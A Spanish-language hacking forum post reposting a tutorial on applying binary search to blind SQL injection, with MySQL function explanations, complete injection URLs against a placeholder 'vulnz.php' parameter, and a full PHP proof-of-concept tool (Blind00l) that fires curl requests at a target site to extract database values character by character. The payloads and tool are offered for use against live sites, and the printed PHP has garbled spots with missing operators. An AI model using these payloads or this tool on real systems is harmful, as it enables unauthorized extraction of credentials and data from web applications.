comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Busqueda Binaria Aplicada a las Blind SQL Injection by OzX

  • 0 Respuestas
  • 2164 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado dracko.rx

  • *
  • Underc0der
  • Mensajes: 247
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • http://rax0rnet.blogspot.com/
    • Email
« en: Febrero 24, 2010, 02:38:44 pm »

  • No Pretenderé Ocupar conceptos enredados, ni tampoco caer en tecnicismo, lo explicare como yo lo entiendo, y como me fuese gustado que me lo explicaran.
  • Esta Publicación esta enfocada a las personas que tengan nociones básicas de Blind SQL Injection, quienes no saben de qué estoy hablando, es mejor  que busquen algún tutorial de este tipo de vulnerabilidad en Nuestra Comunidad. o lean los siguientes conceptos.
SQL Injections Generales

Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro. Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.



SQL Injection MSSQL

Microsoft SQL Server es un sistema de gestión de bases de datos relacionales (SGBD) basado en el lenguaje Transact-SQL, y específicamente en Sybase IQ, capaz de poner a disposición de muchos usuarios grandes cantidades de datos de manera simultánea.

SQL Injection MYSQL


MySQL es un sistema de gestión de base de datos relacional, multihilo y multiusuario con más de seis millones de instalaciones. MySQL AB desde enero de 2008 una subsidiaria de Sun Microsystems desarrolla MySQL como software libre en un esquema de licenciamiento dual.


ASCII (WIKIPEDIA)

El código ASCII (acrónimo inglés de American Standard Code for Information Interchange — (Código Estadounidense Estándar para el Intercambio de Información), pronunciado generalmente [áski], es un código de caracteres basado en el alfabeto latino tal como se usa en inglés moderno y en otras lenguas occidentales. Fue creado en 1963 por el Comité Estadounidense de Estándares (ASA, conocido desde 1969 como el Instituto Estadounidense de Estándares Nacionales, o ANSI) como una refundición o evolución de los conjuntos de códigos utilizados entonces en telegrafía. Más tarde, en 1967, se incluyeron las minúsculas, y se redefinieron algunos códigos de control para formar el código conocido como US-ASCII.

El código ASCII utiliza 8 bits para representar los caracteres, aunque inicialmente empleaba un bit adicional (bit de paridad) que se usaba para detectar errores en la transmisión. A menudo se llama incorrectamente ASCII a otros códigos de caracteres de 8 bits, como el estándar ISO-8859-1 que es una extensión que utiliza 8 bits para proporcionar caracteres adicionales usados en idiomas distintos al inglés, como el español.

ASCII fue publicado como estándar por primera vez en 1967 y fue actualizado por última vez en 1986. En la actualidad define códigos para 33 caracteres no imprimibles, de los cuales la mayoría son caracteres de control obsoletos que tienen efecto sobre como se procesa el texto, más otros 95 caracteres imprimibles que les siguen en la numeración (empezando por el carácter espacio).

Casi todos los sistemas informáticos actuales utilizan el código ASCII o una extensión compatible para representar textos y para el control de dispositivos que manejan texto.

SUBSTRING() MID() mysql.conclase.net

Los formatos sin el argumento 'longitud' devuelve una subcadena de la 'cadena' empezando en la 'posicion'. Los formatos con el argumento 'longitud' devuelven una subcadena de 'longitud' caracteres desde la 'cadena', comenzando en la 'posicion'. Los formatos que usan FROM tienen la sintaxis SQL-92.
Citar
mysql> SELECT SUBSTRING('MySQL con Clase',7);
+--------------------------------+
| SUBSTRING('MySQL con Clase',7) |
+--------------------------------+
| con Clase                      |
+--------------------------------+
1 row in set (0.00 sec)

mysql> SELECT SUBSTRING('MySQL con Clase' FROM 11);
+--------------------------------------+
| SUBSTRING('MySQL con Clase' FROM 11) |
+--------------------------------------+
| Clase                                |
+--------------------------------------+
1 row in set (0.01 sec)

mysql> SELECT SUBSTRING('MySQL con Clase',7,3);
+----------------------------------+
| SUBSTRING('MySQL con Clase',7,3) |
+----------------------------------+
| con                              |
+----------------------------------+
1 row in set (0.00 sec)



Citar
SUBSTRING(cadena,posicion)
SUBSTRING(cadena FROM posicion)
SUBSTRING(cadena,posicion,longitud)
SUBSTRING(cadena FROM posicion FOR longitud)
MID(str,pos,len)

ASCII()

ASCII(str)

Devuelve el valor de código ASCII del carácter más a la izquierda de la cadena str. Devuelve 0 si str es una cadena vacía. Devuelve NULL si str es NULL:
Citar
mysql> SELECT ASCII('2');
+------------+
| ASCII('2') |
+------------+
|         50 |
+------------+
1 row in set (0.03 sec)

mysql> SELECT ASCII(2);
+----------+
| ASCII(2) |
+----------+
|       50 |
+----------+
1 row in set (0.00 sec)

mysql> SELECT ASCII('dx');
+-------------+
| ASCII('dx') |
+-------------+
|         100 |
+-------------+
1 row in set (0.00 sec)

vease:

Control De Flujos:


You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Información Blind SQL Injection

You are not allowed to view links. Register or Login


Información Búsqueda Binaria

vease:


You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login


Ahora bien empecemos…
Las Blind SQL Injection, es un tipo de vulnerabilidad que es bastante común y de una explotación bastante sencilla, pero tiene 1 solo problema. Es necesario  generar una cantidad de peticiones bastante considerables hasta encontrar un valor verdadero. Por lo que se convierte en una explotación bastante lenta y tediosa.
Por Ejemplo, Planteemos el Siguiente Escenario.

Tabla User




 Datos Contenidos en la tabla User:

   
  • Usuario: Administrador
       
  • Password: Undersecurity




    Ahora bien, Para Empezar Nosotros Obtendremos el Primer Valor del Usuario, mediante la metodología  Común para explotar las Blind SQL Injection.  (En un Ambiente Controlado dentro de la consola, no es una situación real de explotación).
    Para encontrar un valor verdadero tendremos que testear desde el Carácter 32 de la Tabla Ascii Hasta el Valor 122.
    Como Podemos Observar en la Siguiente Imagen, el Primer valor del Usuario es “A”, transformado al formato Ascii obtendría el valor de  65.



    En la Practica Tendríamos que Generar  33 Peticiones (65 – 32) para Recién Obtener el Primer valor del usuario.
    Y si nos ponemos  bien extremistas, si el usuario se llamara zamorano, tendríamos que generar  90 peticiones para recién Obtener el Valor. Por lo que se hace  bastante lento y tedioso este tipo de explotación.

    Ahora viene  la implementación de Búsqueda Binaria.

    La Búsqueda Binaria se basa en la teoría de divide y vencerás. La Idea es ir dividiendo  el  rango en mitades.
    Por Ejemplo : La clave que queremos encontrar es 9.
    Tenemos el Siguiente String
    arreglo =(1,2,3,4,5,6,7,8,9,10,11);
    Dividimos en 2 el String Obteniendo.

       1. Restricción = ( 1, 2, 3, 4, 5,6 ) false
       2. Restricción =    (6, 7, 8, 9, 10,11) true

    Si se fijan la cantidad de números dentro del arreglo, es impar, por lo  que se necesita repetir un numero dentro de los 2 String resultantes (6), para obtener 2 String Con la misma cantidad de caracteres.
    Y Ahora ¿Cuál seria Nuestro String a Seguir?, El que Tenga Nuestro Valor a Buscar, en este caso el segundo String o la segunda restricción.

       1. Restricción = (6, 7,8) false
      2. Restricción = (9, 10,11) true

       1. Restricción =  (9,10) true
       2. Restricción =  (10,11) false

       1. Restricción =  (9) true
       2. Restricción =  (10) false

    Finalmente obtenemos nuestro valor, dentro de la primera restricción. Con una cantidad de   4 peticiones.


    Esta Misma Metodología Ahora la Aplicaremos a una Blind SQL Injection.


    Ahora Aplicaremos los Valores de la tabla Ascii desde el valor 32 hasta el 122.

        * Arreglo : 32-122 [Space-z]
        * Restriccion_1: 32-72 [Space-M]
        * Restricción_2: 72-122 [M-z]

    Utilizáramos el Siguiente  Consulta SQL.


    Query Global:


    Código: You are not allowed to view links. Register or Login
    +and+ (SELECT+IF ((ARREGLO), (RESTRICCION_1), false)) —

    Explicación


    Si El valor a encontrar esta entre los valores del arreglo, entonces consultar si están dentro de la primera restricción. por el contrario si el valor a buscar no esta dentro de la primera restricción, entonces esto significa, que esta dentro de la segunda restricción.

    Query : Restricción_1



    Código: You are not allowed to view links. Register or Login
    select+case+(ascii(mid((CONSULTA),SUBSTRING,1))+RESTRICCION_1)+when+true+then+(true)+else+false+end

    Explicacion :

    En el caso que el primer valor de la consulta este dentro del rango de la restriccion 1, entonces retornara verdadero. por el contrario retornara falso.

    Ahora bien, un Simple Ejemplo :

        * Consulta :

       
    Código: You are not allowed to view links. Register or Login
          select+user()
    Valor de user () : You are not allowed to view links. Register or Login

    Valor a Obtener : A

    Valor ASCII :65

        * Parametros:

    Arreglo: 32-122 [Space-z]
    Restriccion_1: 32-72 [Space-M]
    Restriccion_2: 72-122 [M-z]

    Consulta Completa :
    Código: You are not allowed to view links. Register or Login
    http://www.host.com/vulnz.php?id=1+and+(SELECT+IF((select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+122)+when+true+then+(true)+else+false+end),(select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+77)+when+true+then+(true)+else+false+end),false))--

    Explicacion :

    Buscaremos el Primer valor de la consulta “select user()”, el cual es A, (Ascii: 65), primero consultaremos si el  valor esta entre 32-122 [Space-z], si este resulta verdadero entonces retonara TRUE , o por el contrario si no esta dentro del rango 32-122 retornara FALSE.

    Si el valor  retornado por la primera consulta es TRUE , entonces consultara si el primer valor esta entre 32-77 [Space-M], si esto es verdadero retornara TRUE, por el contrario retonara FALSE y el valor estaria entre 72-122[M-z].

    En Esta  Consulta Reducimos Nuestras alternativas de 90 a 45.

    ¿Podrías Adivinar que Estado Retornara la Consulta , Si el valor a Buscar es 64?

        * Si Pensaste en TRUE, estas en lo Correcto.

    Luego En la Segunda vuelta , el  rango que se encuentre dentro del valor a buscar (en este caso 32-77), se convertirá en nuestro arreglo, y se dividirá en 2 ([32-54]-[55-77]), así sucesivamente, hasta encontrar el valor final, en solo 7 consultas.

    Grafica :



    Para Demostrar Esta Metodología Desarrolle un Pequeño Programa que solamente muestra 1 carácter,  en 7 peticiones.

    Aclaro :  Es un PoC en Php.

    Posteriormente dentro del Lab de Undersecurity.net Se desarrollara la Tool Completa.







    Código del POC Llamado BlindD00l:
    Descargar Blind00l

        * Testeado En Mysql 5.x
        * Curl Activado

    Gracias a toda la Comunidad Undersecurity.net

        * Cic4tr1z : logística Infinita
        * Nork : Correcciones y Apoyo en ideas extravagantes.
        * 1995: Apoyo Incondicional.
        * N0b0dy :Notable y leal animo a la comunidad.
        * Lix : Por ser Simplemente Lix.
        * y A muchos mas que quedaron en el camino.


    aqui la tool


    Código: You are not allowed to view links. Register or Login
    <?php
    #Optimizando las Blind SQL INjection
    #Blind00l 0.1 P0C Busqueda BInaria Aplicadas a las Blind SQL Injection
    #7 Peticiones para Encontrar 1 Valor.
    #Codeado Por OzX Undersecurity.net
    #Undersecurity.net

    function contar($url) {
    $curl curl_init();

      $header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
    $header[] = "Cache-Control: max-age=0";
    $header[] = "Connection: keep-alive";
    $header[] = "Keep-Alive: 300";
    $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $header[] = "Accept-Language: en-us,en;q=0.5";
      curl_setopt($curlCURLOPT_URL$url);
    curl_setopt($curlCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
    curl_setopt($curlCURLOPT_HTTPHEADER$header);
    curl_setopt($curlCURLOPT_REFERER'http://www.google.com');
    curl_setopt($curlCURLOPT_ENCODING'gzip,deflate');
    curl_setopt($curlCURLOPT_RETURNTRANSFER1);
    curl_setopt($curlCURLOPT_TIMEOUT10);
    $html curl_exec($curl);
    #$cantidad_linea = count(explode("\n",$html));#al pasar a chr(32) funciona en localhost
    $cantidad_linea count(explode(chr(32),$html));
    $cantidad_space str_word_count($html);
    unset($html,$header);
    return array($cantidad_linea,$cantidad_space);
    }

    function between($nodo_base){
    preg_match_all("/BETWEEN\+(\d+)\+AND\+(\d+)/i",$nodo_base,$salidaPREG_PATTERN_ORDER);
    unset($nodo_base);
    return array($salida[1][0],$salida[2][0]);
    }
    function binary($nodo_base){#busqueda Binaria
    list($start,$finish) =  between($nodo_base);
    $diferencia $finish-$start;
    $suma intval($start+(($diferencia)/2)); 
    $nodo_true "BETWEEN+$start+AND+$suma";
    unset($start);
    $suma intval((($diferencia%2)!=0) ? $suma $suma);
    unset($diferencia);
    $nodo_false "BETWEEN+".$suma."+AND+".$finish
    unset($suma,$finish);
    return array($nodo_true,$nodo_false);
    }



    function recursivo_query($nodo_base,$web,$query,$substring,$original_linea,$original_space){
    list($start,$finish) =  between($nodo_base);
    echo "\t[-]ENTRE : ".chr($start)."-".chr($finish)."\n";
    $valor blind00l($web,$query,$substring,$nodo_base,$original_linea,$original_space);
    return $valor;
    }

    function blind00l($web,$query,$substring,$nodo_base,$original_linea,$original_space){
    list($start,$finish) =  between($nodo_base);

    if ($start == $finish){
    unset($web,$query,$substring,$nodo_base,$original_linea,$original_space);
    if ($start == 0){
    echo "FINAL DE LA CADENA\n";
    }else{
    echo "\n";
    return chr($start);
    }
    }else{
    list($nodo_true,$nodo_false) = binary($nodo_base);
    $url $web."+and+(SELECT+IF((select+case+(ascii(mid((".$query."),".$substring.",1))+".$nodo_base.")+when+true+then+(true)+else+false+end)";
    $url .= ",(select+case+(ascii(mid((".$query."),".$substring.",1))+".$nodo_true.")+when+true+then+(true)+else+false+end),false))--";
    list($cantidad_linea,$cantidad_space) = contar($url);
    if (($original_linea == $cantidad_linea) || ($original_space == $cantidad_space)){
    $valor recursivo_query($nodo_true,$web,$query,$substring,$original_linea,$original_space);
    return $valor;
    }else{
    $valor recursivo_query($nodo_false,$web,$query,$substring,$original_linea,$original_space);
    return $valor;
    }
    }
    }

    function usage(){
    echo "-web = URL WEB \n";
    echo "\t -web 'http://www.web.com/vulnz.php?id=3\n'";
    echo "-q = QUERY \n";
    echo "\t -q 'select+database()'\n";
    echo "-sub = SUBSTRING \n";
    echo "\t -sub 1\n";
    echo "EJEMPLO : \n";
    echo " -web 'http://www.web.com/vulnz.php?id=3' -q 'select+database()' -sub 1 \n";

    }

    function existe_curl(){
    if (!extension_loaded('curl_init') || !function_exists('curl_init')) {
    return true;
    }else{
    return false;
    }
    }



    $op_web $argv[1];
    $op_query $argv[3];
    $op_mid $argv[5];

    #print_r($argv);
    if (existe_curl()===true){
    if ($argc == 7){
    if ($op_web == '-web'){
    $web $argv[2];
    echo "WEB :> ".$web."\n";
    }
    if($op_query == '-q'){
    $query $argv[4];
    echo "QUERY :>".$query."\n";
    }
    if($op_mid == '-sub'){
    $substring $argv[6];
    echo "MID :> ".$substring."\n";
    }

    $nodo_base "BETWEEN+0+AND+122";#Toda la Tabla ASCII, se Incorpora el 0 para encontrar el final de la cadena. NULL
    list($original_linea,$original_space) = contar($web);
    $starttime=time();
    echo "[*]VALORES DE COMPARACION ORIGINALES : ".$original_linea."-".$original_space."\n";
    $valor blind00l($web,$query,$substring,$nodo_base,$original_linea,$original_space)."\n";
    echo "\tCARACTER ENCONTRADO :  ".$valor."\n";
    $endtime=time();
    $difftime=$endtime $starttime;
    echo "SEGUNDOS TOTALES  :  ".$difftime."\n";
    }else{
    echo "FALTAN PARAMETROS\n";
    usage();
    }
    }else{
    echo "No Tienes Curl Instalado \n";
    }


    ?>



    fuente:You are not allowed to view links. Register or Login
Venta de diseños - Contactar por MP

You are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!



vBulletin 5.0.0 Beta 11 - 5.0.0 Beta 28 - SQL Injection

Iniciado por morodog

Respuestas: 1
Vistas: 1706
Último mensaje Junio 09, 2013, 12:05:31 pm
por ANTRAX
SQL Injection - Joomla módulo "com_fireboard"

Iniciado por M5f3r0

Respuestas: 0
Vistas: 1561
Último mensaje Agosto 16, 2013, 01:43:18 am
por M5f3r0
Mysql injection avanzada: "doble query/error based"

Iniciado por q3rv0

Respuestas: 2
Vistas: 2274
Último mensaje Agosto 30, 2012, 04:26:01 am
por andrewtwo
HTML injection (Ataque y Defensa) [Practico] By 2Fac3R

Iniciado por 2Fac3R

Respuestas: 2
Vistas: 1854
Último mensaje Diciembre 28, 2012, 03:03:19 am
por 2Fac3R
LDAP Injection (Lightweight Directory Access Protocol)

Iniciado por M5f3r0

Respuestas: 1
Vistas: 1625
Último mensaje Noviembre 01, 2013, 02:19:28 pm
por ANTRAX